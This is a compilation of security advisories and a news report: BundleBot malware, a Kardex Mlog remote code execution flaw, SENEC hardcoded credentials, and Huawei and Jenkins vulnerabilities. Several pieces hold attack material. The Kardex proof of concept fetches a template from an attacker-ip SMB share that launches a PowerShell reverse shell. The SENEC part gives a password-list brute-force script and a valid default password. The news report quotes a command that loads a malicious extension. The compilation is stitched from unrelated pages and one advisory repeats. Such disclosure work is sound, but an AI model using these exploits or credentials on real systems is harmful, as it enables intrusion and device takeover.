Honeywell HDZP252DI 1.00.HW02.4 and HBW2PER1 1.000.HW01.3 devices allow command spoofing (for camera control) after ARP cache poisoning has been achieved.

At Honeywell, we take cybersecurity seriously. We continually investigate any reported vulnerability on Honeywell video products. We always keep our customers and partners informed at the earliest possible time.

We highly recommend our customers to regularly check this Security Notices page. If you have already purchased and installed the product(s) in the list on the Security Notifications below, please follow the instructions and upgrade to the latest firmware version.

The latest firmware and security keys can be downloaded from the following link:

mywebtech.honeywell.com/Home

CVE-2021-39364: Services

A new malware strain known as BundleBot has been stealthily operating under the radar by taking advantage of .NET single-file deployment techniques, enabling threat actors to capture sensitive information from compromised hosts.
"BundleBot is abusing the dotnet bundle (single-file), self-contained format that results in very low or no static detection at all," Check Point said in a report

A new malware strain known as **BundleBot** has been stealthily operating under the radar by taking advantage of .NET single-file deployment techniques, enabling threat actors to capture sensitive information from compromised hosts.

"BundleBot is abusing the dotnet bundle (single-file), self-contained format that results in very low or no static detection at all," Check Point said in a report published this week, adding it is "commonly distributed via Facebook Ads and compromised accounts leading to websites masquerading as regular program utilities, AI tools, and games."

Some of these websites aim to mimic Google Bard, the company's conversational generative artificial intelligence chatbot, enticing victims into downloading a bogus RAR archive ("Google\_AI.rar") hosted on legitimate cloud storage services such as Dropbox.

The archive file, when unpacked, contains an executable file ("GoogleAI.exe"), which is the .NET single-file, self-contained application ("GoogleAI.exe") that, in turn, incorporates a DLL file ("GoogleAI.dll"), whose responsibility is to fetch a password-protected ZIP archive from Google Drive.

The extracted content of the ZIP file ("ADSNEW-1.0.0.3.zip") is another .NET single-file, self-contained application ("RiotClientServices.exe") that incorporates the BundleBot payload ("RiotClientServices.dll") and a command-and-control (C2) packet data serializer ("LirarySharing.dll").

"The assembly RiotClientServices.dll is a custom, new stealer/bot that uses the library LirarySharing.dll to process and serialize the packet data that are being sent to C2 as a part of the bot communication," the Israeli cybersecurity company said.

The binary artifacts employ custom-made obfuscation and junk code in a bid to resist analysis, and come with capabilities to siphon data from web browsers, capture screenshots, grab Discord tokens, information from Telegram, and Facebook account details.

Check Point said it also detected a second BundleBot sample that's virtually identical in all aspects barring the use of HTTPS to exfiltrate the information to a remote server in the form of a ZIP archive.

"The delivering method via Facebook Ads and compromised accounts is something that has been abused by threat actors for a while, still combining it with one of the capabilities of the revealed malware (to steal a victim's Facebook account information) could serve as a tricky self-feeding routine," the company noted.

The development comes as Malwarebytes uncovered a new campaign that employs sponsored posts and compromised verified accounts that impersonate Facebook Ads Manager to entice users into downloading rogue Google Chrome extensions that are designed to steal Facebook login information.

Users who click on the embedded link are prompted to download a RAR archive file containing an MSI installer file that, for its part, launches a batch script to spawn a new Google Chrome window with the malicious extension loaded using the "--load-extension" flag -

> _start chrome.exe --load-extension="%~dp0/nmmhkkegccagdldgiimedpiccmgmiedagg4" "https://www.facebook.com/business/tools/ads-manager"_

UPCOMING WEBINAR

Shield Against Insider Threats: Master SaaS Security Posture Management

Worried about insider threats? We've got you covered! Join this webinar to explore practical strategies and the secrets of proactive security with SaaS Security Posture Management.

Join Today

"That custom extension is cleverly disguised as Google Translate and is considered 'Unpacked' because it was loaded from the local computer, rather than the Chrome Web Store," Jérôme Segura, director of threat intelligence at Malwarebytes, explained, noting it is "entirely focused on Facebook and grabbing important pieces of information that could allow an attacker to log into accounts."

The captured data is subsequently sent using the Google Analytics API to get around content security policies (CSPs) to mitigate cross-site scripting (XSS) and data injection attacks.

The threat actors behind the activity are suspected to be of Vietnamese origin, who have, in recent months, exhibited acute interest in targeting Facebook business and advertising accounts. Over 800 victims worldwide have been impacted, with 310 of those located in the U.S.

"Fraudsters have a lot of time on their hands and spend years studying and understanding how to abuse social media and cloud platforms, where it is a constant arm's race to keep bad actors out," Segura said. "Remember that there is no silver bullet and anything that sounds too good to be true may very well be a scam in disguise."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Sophisticated BundleBot Malware Disguised as Google AI Chatbot and Utilities

Kardex Mlog MCC version 5.7.12+0-a203c2a213-master suffers from a file inclusion vulnerability that allows for remote code execution.

Remote Code Execution in Kardex MLOG  
=======================================================================  
       Product: Kardex Mlog MCC  
         Vendor: Kardex Holding AG  
      Tested Version: 5.7.12+0-a203c2a213-master  
         Fixed Version: inline patch - no new version number  
         Vulnerability Type: Improper Control of Generation of Code ("RFI") - CWE-94  
     CVSSv2 Severity: AV:A/AC:L/Au:N/C:C/I:C/A:C - Score 8.3  
            CVSSv3 Severity: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Score 9.6  
            Solution Status: fixed  
  Manufacturer Notification: 2022-12-13  
       Solution Date: 2023-01-24  
   Public Disclosure: 2023-02-07  
       CVE Reference: CVE-2023-22855  
        Authors of Advisory: Patrick Hener & Nico Viakowski

=======================================================================

Vendor description[1]  
---------------------

Kardex Mlog’s modular software solution Kardex Control Center manages material  
flow and warehouse management processes faster and more efficiently.

 From manual block warehouse and interface networking with intelligent partner  
systems to an automated intralogistics system connected to production lines and  
driverless vehicles, intelligent energy management for the automated stacker  
cranes and modern system visualization, the Kardex Control Center modules offer  
flexible solutions for your warehouse management.

Vulnerability Details  
---------------------

The .NET based software spawns a web interface listening on port 8088.  
This interface is meant to control and monitor the material flow.

The user controllable path is handed to a path concatenation function  
(`Path.Combine`) without proper sanitization. This yields the possibility to  
include local files, as well as remote files (SMB). The path is used in a  
function called `getFile`.

The following code snippet shows the vulnerable part of this function:

```cs  
public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null)  
  {  
    MccHttpServerResult result4;

[... snip ...]

else  
{  
  string getfileName = (path == "/") ? "index.html" : path.Substring(1).Replace("/", Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));  
  string fileName = Path.Combine(this.RootDirectory(), getfileName);  
  string originalFileName = fileName;  
```

The .Net function `Path.Combine` also is able to concatenate remote targets. For  
example using `\\ipaddress` you can include files from a remote samba server.

Further down the request flow, the application is checking for the MIME type of  
the file retrieved.

Depending on the MIME type the content is either sent through a  
import/export procedure or rendered as `mono/t4` template. The function  
`getMimeType` will return `t4` if the included file is ending with an extension  
of `.t4`.

This is where the File Inclusion can be escalated to a Remote Code Execution.  
The `mono/t4` templating engine allows the use of `C#` to evaluate code.  
This enables an attacker to gain code execution and eventually spawn a reverse  
shell.

```cs  
bool flag15 = File.Exists(fileName);  
  if (flag15)  
    {  
    using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))  
    {  
      byte[] bytes = new byte[f.Length];  
      f.Read(bytes, 0, bytes.Length);  
      bool flag16 = mime2 == "t4";  
      if (flag16)  
        {  
          return this.runTemplatingEngine(bytes, responseHeaders, queryString);  
        }  
```

Proof of Concept (PoC)  
----------------------

The following request will include a remote file from an smb share. For this to  
work the attacker has to spawn an smb server (for example using `smbserver.py`  
from Impacket[2]).

```  
GET /\\attacker-ip/share/exploit.t4 HTTP/1.1  
Host: vulnerable.host.internal:8088  
Content-Type: text/html  
User-Agent: curl/7.86.0  
Accept: */*  
Connection: close  
```

The `exploit.t4` looks like this:

```html  
<#@ template language="C#" #>  
<#@ Import Namespace="System" #>  
<#@ Import Namespace="System.Diagnostics" #>

Proof of Concept - SSTI to RCE  
RCE running ...

<#  
var proc1 = new ProcessStartInfo();  
string anyCommand;  
anyCommand = "powershell -e revshell-base64-blob";

proc1.UseShellExecute = true;  
proc1.WorkingDirectory = @"C:\Windows\System32";  
proc1.FileName = @"C:\Windows\System32\cmd.exe";  
proc1.Verb = "runas";  
proc1.Arguments = "/c "+anyCommand;  
Process.Start(proc1);  
#>

Enjoy your shell, good sir :D  
```

The exploit above will execute `cmd.exe` and launch a `powershell` to execute  
a reverse shell. You can easily generate a reverse shell blob using  
revshells.com[3].

A full exploit spawning a reverse shell was created[4].

Solution  
--------

The user supplied data should be sanitized before using it in the `Path.Combine`  
function.

Disclosure Timeline  
-------------------

2022-12-13: Vulnerability discovered  
2022-12-13: Vulnerability reported to manufacturer  
2023-01-24: Solution provided by manufacturer  
2023-02-07: Public disclosure of vulnerability

References  
----------

[1] Vendor Website:https://www.kardex.com/en/mlog-control-center  
[2] Impacket Git Repository:https://github.com/SecureAuthCorp/impacket  
[3] Reverse Shell Generator:https://www.revshells.com/  
[4] Exploit on Exploit-DB (tbd):https://www.exploit-db.com/exploits/xxxxx    
[5] Blog Post Advisory:https://hesec.de/posts/cve-2023-22855     
[6] Personal Github Repo for Advisory:https://github.com/patrickhener/CVE-2023-22855     
[7] Blog Post Thinking Objects:https://to.com/blog/advisory-kardex-mlog-CVE-2023-22855   

Credits  
-------

This security vulnerability was found by Patrick Hener and Nico Viakowski.

E-Mail:patrickhener@posteo.de  
E-Mail:n.viakowski@pm.me  

Disclaimer  
----------

The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible.

Copyright  
---------

Creative Commons - Attribution (by) - Version 3.0  
URL:http://creativecommons.org/licenses/by/3.0/deed.en

Kardex Mlog MCC 5.7.12+0-a203c2a213-master File Inclusion / Remote Code Execution

EnBw SENEC Legacy Storage Box versions 1 through 3 appear to suffer from a hardcoded credential vulnerability.

Advisory ID:               Ph0s-2023-003  
Product:                   EnBw - SENEC legacy storage box: V1-V3  
Manufacturer:              SENEC - a part of EnBw  
Affected Version(s):       Firmware: all (as of 2023-06-19)  
Tested Version(s):         current  
Vulnerability Type:        CWE-307: Improper Restriction of Excessive 

                           Authentication Attempts  
                           CWE-798: Use of Hard-coded Credentials

Risk Level: 

CVSS v3.1 Vector:  
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

Manufacturer Risk Level Rating:  
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:H/RL:U/RC:C  
Overall CVSS Score: 8.6

Solution Status:           Fixed  
Manufacturer Notification: 2023-06-05  
Public Disclosure:         2023-11-01  
CVE Reference:             CVE-2023-39168  
Author of Advisory:        Ph0s[4], R0ckE7

********************************************************************************

Overview:  
Foreword: 

This vulnerability was reported to the enbw-cert. we would like to  
thank enbw-cert for taking care of the vulns and patch the systems.  
we decided to publish when most of the reported vulns are patched  
to make sure nobody is harmed when 3rdparys exploit the mentioned vulns. 

About Senec:  
We are SENEC

We have been the EnBW energy independence experts since 2018 – but we have  
put our heart and soul into guiding customers on the route to independence  
since SENEC was founded in 2009. Our passion lies in actively promoting the  
energy transition with innovative ideas and pioneering products. And, 

because we don’t do things by halves, our unwavering ambition is to create  
integrated solutions that enable you to enjoy the highest possible degree  
of independence and sustainability through self-generation of solar 

electricity.

About SENEC Home:

SENEC.Home: The smart electricity storage device for your home

SENEC.Home is the heart of the your sustainable, affordable supply of solar  
electricity. The smart battery storage device stores excess electricity 

generated by your PV system so that you can use it when you need it – such as  
when your household’s energy consumption rises in the evening, or on rainy days  
when your PV system generates less power.

********************************************************************************

Vulnerability Details:

Based on the previously identified hard-coded username in CVE-2023-39167 and  
CVE-2023-39168 all technical requirements were met to target the password. 

Since the username installateur is quite straightforward in the sense of 

guessable, it was decided to perform a dictonary-type brute force attack. 

For this purpose, all related PDF documents were downloaded to create a password  
list specifically tailored to SENEC.Inverter. 

Source of the Documents: https://senec.com/au/company/downloads

********************************************************************************

Proof of Concept (PoC):

The attack consists of the following steps:

1. parse the documents :  
import argparse  
import glob  
import string  
import fitz

def get_senec_password(pdf_directory, pwd_prefix, pwd_suffix):  
    pdf_text = ""  
    for file in glob.glob(f"{pdf_directory}/*.pdf"):  
        pdf = fitz.open(file)  
        for page in pdf:  
            pdf_text += page.get_text()

    pdf_words = set(  
        [word.strip(string.punctuation) for word in pdf_text.split() if word.strip(string.punctuation).isalnum()]  
    )  
    senec_password = set(  
        [f"{pwd_prefix}{word}{pwd_suffix}" for word in pdf_words if not word.isnumeric()]  
    )

    with open("senec-password.txt", mode="w", encoding="utf-8") as fd:  
        fd.write('\n'.join(senec_password))

if __name__ == '__main__':  
    parser = argparse.ArgumentParser(description="Generate SENEC.Inverter password dictionary")  
    parser.add_argument("-d", "--pdf-directory", type=str, action="store", default="pdf", required=False,  
                        help="pdf storage location")  
    parser.add_argument("-p", "--pwd-prefix", type=str, action="store", default="Senec", required=False,  
                        help="password prefix")  
    parser.add_argument("-s", "--pwd-suffix", type=str, action="store", default="", required=False,  
                        help="password suffix")  
    args = parser.parse_args()  
    get_senec_password(args.pdf_directory, args.pwd_prefix, args.pwd_suffix)

2. work with the output:  
The Python script extracts all words from all PDF documents and allows to add a prefix  
and/or suffix to generate passwords according to the pattern {prefix}{word}{suffix} ,  
such as the following:  
***** cut *******  
Senecmoribundity  
SenecCleaning  
Senecdusts  
Senecclinical  
Senecaggregation  
Senecstubborn  
Senecstorages  
SenecDecommissioning  
SenecInstall  
Senecmany  
***** cut ********

3) use the list within burpsuite  
The password lists were then used in Burp Suite Professional, a tool 

specifically designed for web application security testing, to perform an 

automated brute force attack.  
The list shown above as an excerpt with the prefix Senec and no suffix was 

finally successful in executing the attack.  
It could be determined that the password "SenecInstall" is valid for all  
SENEC.Inverter devices.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:  
Patched by Manufacturer  
(Rolled out until September 11, 2023)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2022-06-01: Vulnerability discovered  
2023-06-05: Vulnerability reported to manufacturer  
2023-09-11: Patch rollout by manufacturer to affected devices  
2023-11-01: Public disclosure of vulnerability

************************************************************************

Researcher:  
Ph0s[4], R0ckE7

************************************************************************

Disclaimer:

The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 4.0  
URL: https://creativecommons.org/licenses/by/4.0/deed.en

EnBw SENEC Legacy Storage Box Hardcoded Credentials

A Huawei device has an input verification vulnerability. Successful exploitation of this vulnerability may lead to DoS attacks.Affected product versions include:CV81-WDM FW versions 01.70.49.29.46.

A Huawei device has an input verification vulnerability. Successful exploitation of this vulnerability may lead to DoS attacks. (Vulnerability ID: HWPSIRT-2022-49379)  
This vulnerability has been assigned a Common Vulnerabilities and Exposures (CVE) ID: CVE-2022-37395.

Affected Product

Affected Version

Resolved Version

CV81-WDM FW

01.70.49.29.46

01.94.59.32.46

Successful exploitation could result in a denial of service attack  

This vulnerability can be exploited only when the following conditions are present:

Attackers can access affected devices through the network

Vulnerability details:

A DoS vulnerability exists in the SNMP parsing module of a Huawei terminal. The vulnerability is due to insufficient validation of external input packets. Attackers can construct malicious SNMP packets to exploit the vulnerability. Successful exploitation could result in denial of service, etc.  

This vulnerability was discovered by Huawei internal tester.  

This document is provided on an "AS IS" basis and does not imply any kind of guarantee or warranty, either express or implied, including the warranties of merchantability or fitness for a particular purpose. In no event shall Huawei or any of its directly or indirectly controlled subsidiaries or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. Your use of the document, by whatsoever means, will be totally at your own risk. Huawei is entitled to amend or update this document from time to time.

CVE-2022-37395: Security Advisory - The input verification vulnerability of a Huawei Device product is involved.

A missing permission check in Jenkins Extended Choice Parameter Plugin 346.vd87693c5a_86c and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   CloudBees AWS Credentials Plugin
*   Dashboard View Plugin
*   dbCharts Plugin
*   Environment Dashboard Plugin
*   Extended Choice Parameter Plugin
*   Favorite Plugin
*   Folder-based Authorization Strategy Plugin
*   GitLab Authentication Plugin
*   global-build-stats Plugin
*   incapptic connect uploader Plugin
*   Kubernetes Continuous Deploy Plugin
*   List Git Branches Parameter Plugin
*   Parameterized Trigger Plugin
*   Release Helper Plugin
*   Semantic Versioning Plugin
*   Vmware vRealize CodeStream Plugin

**Descriptions****Sensitive parameter values captured in build metadata files by Parameterized Trigger Plugin**

**SECURITY-2185 / CVE-2022-27195**

Parameterized Trigger Plugin 2.43 and earlier captures environment variables passed to builds triggered using Parameterized Trigger Plugin, including password parameter values, in their `build.xml` files. These values are stored unencrypted and can be viewed by users with access to the Jenkins controller file system.

Parameterized Trigger Plugin 2.43.1 does not store captured environment variables in `build.xml` files.

Note

Existing `build.xml` files are not automatically updated to remove captured environment variables. They need to be manually cleaned up. To help with this, the plugin will report environment variables stored in `build.xml` as unloadable data in the Old Data Monitor, that allows discarding this data. Build records are only loaded from disk when needed however, so some builds stored in Jenkins may not immediately appear there.

**Stored XSS vulnerability in Favorite Plugin**

**SECURITY-2557 / CVE-2022-27196**

Favorite Plugin 2.4.0 and earlier does not escape the names of jobs in the favorite column.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure or Item/Create permissions.

Favorite Plugin 2.4.1 escapes the names of jobs in the favorite column.

**Stored XSS vulnerability in Dashboard View Plugin**

**SECURITY-2559 / CVE-2022-27197**

Dashboard View Plugin 2.18 and earlier does not perform URL validation for the Iframe Portlet’s Iframe source URL.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to configure views.

Dashboard View Plugin 2.18.1 performs URL validation for the Iframe Portlet’s Iframe source URL.

Additionally, Dashboard View Plugin 2.18.1 sets the `sandbox` attribute for the iframe to restrict the included page.

Note

In case of problems, the Java system property `hudson.plugins.view.dashboard.core.IframePortlet.sandboxAttributeValue` can be used to customize the `sandbox` attribute value. The Java system property `hudson.plugins.view.dashboard.core.IframePortlet.doNotUseSandbox` can be used to disable the sandbox completely.

**CSRF vulnerability and missing permission checks in CloudBees AWS Credentials Plugin**

**SECURITY-2351 / CVE-2022-27198 (CSRF), CVE-2022-27199 (permission check)**

CloudBees AWS Credentials Plugin 189.v3551d5642995 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an AWS service using an attacker-specified token.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This form validation method requires POST requests and Overall/Administer permission in CloudBees AWS Credentials Plugin 191.vcb\_f183ce58b\_9.

**Stored XSS vulnerability in Folder-based Authorization Strategy Plugin**

**SECURITY-2646 / CVE-2022-27200**

Folder-based Authorization Strategy Plugin 1.3 and earlier does not escape the names of roles shown on the configuration form.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

Folder-based Authorization Strategy Plugin 1.4 escapes the names of roles shown on the configuration form.

**Agent-to-controller security bypass in Semantic Versioning Plugin**

**SECURITY-2124 / CVE-2022-27201**

Semantic Versioning Plugin defines a controller/agent message that processes a given file as XML and returns version information. The XML parser is not configured to prevent XML external entity (XXE) attacks, which is only a problem if XML documents are parsed on the Jenkins controller.

Semantic Versioning Plugin 1.13 and earlier does not restrict execution of the controller/agent message to agents, and implements no limitations about the file path that can be parsed. This allows attackers able to control agent processes to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Note

This vulnerability is only exploitable in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier. See the LTS upgrade guide.

Semantic Versioning Plugin 1.14 does not allow the affected controller/agent message to be submitted by agents for execution on the controller.

**Stored XSS vulnerability in Extended Choice Parameter Plugin**

**SECURITY-2232 / CVE-2022-27202**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier does not escape the value and description of Extended Choice Parameters with parameter type 'Radio Buttons' or 'Check Boxes'.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

As of publication of this advisory, there is no fix.

**Arbitrary JSON and property file read vulnerability in Extended Choice Parameter Plugin**

**SECURITY-1351 / CVE-2022-27203**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier allows attackers with Item/Configure permission to read values from arbitrary JSON and Java properties files on the Jenkins controller.

As of publication of this advisory, there is no fix.

**CSRF vulnerability and missing permission checks in Extended Choice Parameter Plugin allow SSRF**

**SECURITY-1350 / CVE-2022-27204 (CSRF), CVE-2022-27205 (permission check)**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier does not perform a permission check on form validation methods. This allows attackers with Overall/Read permission to connect to an attacker-specified URL.

Additionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

As of publication of this advisory, there is no fix.

**Client Secret stored in plain text by GitLab Authentication Plugin**

**SECURITY-1891 / CVE-2022-27206**

GitLab Authentication Plugin 1.13 and earlier stores the GitLab client secret unencrypted in the global `config.xml` file on the Jenkins controller as part of its configuration.

This client secret can be viewed by users with access to the Jenkins controller file system.

As of publication of this advisory, there is no fix.

**Stored XSS vulnerability in global-build-stats Plugin**

**SECURITY-1886 / CVE-2022-27207**

global-build-stats Plugin 1.5 and earlier does not escape multiple fields in the chart configuration on the 'Global Build Stats' page.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

As of publication of this advisory, there is no fix.

**Arbitrary file read vulnerability in Kubernetes Continuous Deploy Plugin**

**SECURITY-2096 / CVE-2022-27208**

Kubernetes Continuous Deploy Plugin contributes the 'Kubernetes configuration (kubeconfig)' credential type.

Kubernetes Continuous Deploy Plugin 2.3.1 and earlier allows users with Credentials/Create or Credentials/Update permission to read arbitrary files on the Jenkins controller by defining a 'From a file on the Jenkins master' Kubeconfig source for such a credential.

As of publication of this advisory, there is no fix.

**Missing permission checks in Kubernetes Continuous Deploy Plugin allow enumerating credentials IDs**

**SECURITY-2636 / CVE-2022-27209**

Kubernetes Continuous Deploy Plugin 2.3.1 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

As of publication of this advisory, there is no fix.

**CSRF vulnerability and missing permission checks in Kubernetes Continuous Deploy Plugin allow capturing credentials**

**SECURITY-2681 / CVE-2022-27210 (CSRF), CVE-2022-27211 (permission check)**

Kubernetes Continuous Deploy Plugin 2.3.1 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

As of publication of this advisory, there is no fix.

**Stored XSS vulnerability in List Git Branches Parameter Plugin**

**SECURITY-2167 / CVE-2022-27212**

List Git Branches Parameter Plugin 0.0.9 and earlier does not escape the name or default value of the 'List Git branches (and more)' parameter. Additionally, List Git Branches Parameter Plugin explicitly disables a protection mechanism introduced in Jenkins 2.44 and LTS 2.32.2 to prevent exploitation of unescaped parameter names.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

As of publication of this advisory, there is no fix.

**Stored XSS vulnerability in Environment Dashboard Plugin**

**SECURITY-2252 / CVE-2022-27213**

Environment Dashboard Plugin 1.1.10 and earlier does not escape the Environment order and the Component order configuration values in its views.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with View/Configure permission.

As of publication of this advisory, there is no fix.

**CSRF vulnerability and missing permission checks in Release Helper Plugin**

**SECURITY-2274 / CVE-2022-27214 (CSRF), CVE-2022-27215 (permission check)**

Release Helper Plugin 1.3.3 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

As of publication of this advisory, there is no fix.

**Passwords stored in plain text by dbCharts Plugin**

**SECURITY-2159 / CVE-2022-27216**

dbCharts Plugin 0.5.2 and earlier stores JDBC connection passwords unencrypted in its global configuration file `hudson.plugins.dbcharts.DbChartPublisher.xml` on the Jenkins controller as part of its configuration.

These passwords can be viewed by users with access to the Jenkins controller file system.

As of publication of this advisory, there is no fix.

**Passwords stored in plain text by Vmware vRealize CodeStream Plugin**

**SECURITY-2238 / CVE-2022-27217**

Vmware vRealize CodeStream Plugin 1.2 and earlier stores passwords unencrypted in job `config.xml` files on the Jenkins controller as part of its configuration.

These passwords can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

As of publication of this advisory, there is no fix.

**Personal tokens stored in plain text by incapptic connect uploader Plugin**

**SECURITY-2273 / CVE-2022-27218**

incapptic connect uploader Plugin 1.15 and earlier stores personal tokens unencrypted in job `config.xml` files on the Jenkins controller as part of its configuration.

These tokens can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

As of publication of this advisory, there is no fix.

**Severity**

*   SECURITY-1350: Medium
*   SECURITY-1351: Medium
*   SECURITY-1886: Medium
*   SECURITY-1891: Low
*   SECURITY-2096: Medium
*   SECURITY-2124: High
*   SECURITY-2159: Low
*   SECURITY-2167: High
*   SECURITY-2185: Low
*   SECURITY-2232: High
*   SECURITY-2238: Medium
*   SECURITY-2252: High
*   SECURITY-2273: Medium
*   SECURITY-2274: Medium
*   SECURITY-2351: Medium
*   SECURITY-2557: High
*   SECURITY-2559: High
*   SECURITY-2636: Medium
*   SECURITY-2646: Medium
*   SECURITY-2681: High

**Affected Versions**

*   **CloudBees AWS Credentials Plugin** up to and including 189.v3551d5642995
*   **Dashboard View Plugin** up to and including 2.18
*   **dbCharts Plugin** up to and including 0.5.2
*   **Environment Dashboard Plugin** up to and including 1.1.10
*   **Extended Choice Parameter Plugin** up to and including 346.vd87693c5a\_86c
*   **Favorite Plugin** up to and including 2.4.0
*   **Folder-based Authorization Strategy Plugin** up to and including 1.3
*   **GitLab Authentication Plugin** up to and including 1.13
*   **global-build-stats Plugin** up to and including 1.5
*   **incapptic connect uploader Plugin** up to and including 1.15
*   **Kubernetes Continuous Deploy Plugin** up to and including 2.3.1
*   **List Git Branches Parameter Plugin** up to and including 0.0.9
*   **Parameterized Trigger Plugin** up to and including 2.43
*   **Release Helper Plugin** up to and including 1.3.3
*   **Semantic Versioning Plugin** up to and including 1.13
*   **Vmware vRealize CodeStream Plugin** up to and including 1.2

**Fix**

*   **CloudBees AWS Credentials Plugin** should be updated to version 191.vcb\_f183ce58b\_9
*   **Dashboard View Plugin** should be updated to version 2.18.1
*   **Favorite Plugin** should be updated to version 2.4.1
*   **Folder-based Authorization Strategy Plugin** should be updated to version 1.4
*   **Parameterized Trigger Plugin** should be updated to version 2.43.1
*   **Semantic Versioning Plugin** should be updated to version 1.14

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   dbCharts Plugin
*   Environment Dashboard Plugin
*   Extended Choice Parameter Plugin
*   GitLab Authentication Plugin
*   global-build-stats Plugin
*   incapptic connect uploader Plugin
*   Kubernetes Continuous Deploy Plugin
*   List Git Branches Parameter Plugin
*   Release Helper Plugin
*   Vmware vRealize CodeStream Plugin

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-2124, SECURITY-2681
*   **Gunther Rademacher** for SECURITY-2185
*   **Jesse Glick, CloudBees, Inc.** for SECURITY-2096
*   **Justin Philip** for SECURITY-2252
*   **Kevin Guerroudj** for SECURITY-2232, SECURITY-2238
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2636, SECURITY-2646
*   **Kevin Guerroudj, CloudBees, Inc. and Wadeck Follonier, CloudBees, Inc.** for SECURITY-2557
*   **Matt Sicker, CloudBees, Inc. and, independently, Marc Heyries** for SECURITY-1891
*   **Oleg Nenashev, CloudBees, Inc.** for SECURITY-1350, SECURITY-1351
*   **Quentin Parra** for SECURITY-2273, SECURITY-2274
*   **Son Nguyen (@s0nnguy3n\_)** for SECURITY-2159
*   **Son Nguyen (@s0nnguy3n\_), and, independently, Kevin Guerroudj** for SECURITY-2167
*   **Wadeck Follonier, CloudBees, Inc. and Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2559
*   **Wadeck Follonier, CloudBees, Inc., and, independently, Kevin Guerroudj** for SECURITY-1886

CVE-2022-27205: Jenkins Security Advisory 2022-03-15

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   CloudBees AWS Credentials Plugin
*   Dashboard View Plugin
*   dbCharts Plugin
*   Environment Dashboard Plugin
*   Extended Choice Parameter Plugin
*   Favorite Plugin
*   Folder-based Authorization Strategy Plugin
*   GitLab Authentication Plugin
*   global-build-stats Plugin
*   incapptic connect uploader Plugin
*   kubernetes-cd Plugin
*   List Git Branches Parameter Plugin
*   Parameterized Trigger Plugin
*   Release Helper Plugin
*   Semantic Versioning Plugin
*   Vmware vRealize CodeStream Plugin

**Descriptions****Sensitive parameter values captured in build metadata files by Parameterized Trigger Plugin**

**SECURITY-2185 / CVE-2022-27195**  
**Severity (CVSS):** Low  
**Affected plugin: parameterized-trigger**  
**Description:**

Parameterized Trigger Plugin 2.43 and earlier captures environment variables passed to builds triggered using Parameterized Trigger Plugin, including password parameter values, in their build.xml files. These values are stored unencrypted and can be viewed by users with access to the Jenkins controller file system.

Parameterized Trigger Plugin 2.43.1 does not store captured environment variables in build.xml files.

Existing build.xml files are not automatically updated to remove captured environment variables. They need to be manually cleaned up. To help with this, the plugin will report environment variables stored in build.xml as unloadable data in the Old Data Monitor, that allows discarding this data. Build records are only loaded from disk when needed however, so some builds stored in Jenkins may not immediately appear there.

**Stored XSS vulnerability in Favorite Plugin**

**SECURITY-2557 / CVE-2022-27196**  
**Severity (CVSS):** High  
**Affected plugin: favorite**  
**Description:**

Favorite Plugin 2.4.0 and earlier does not escape the names of jobs in the favorite column.

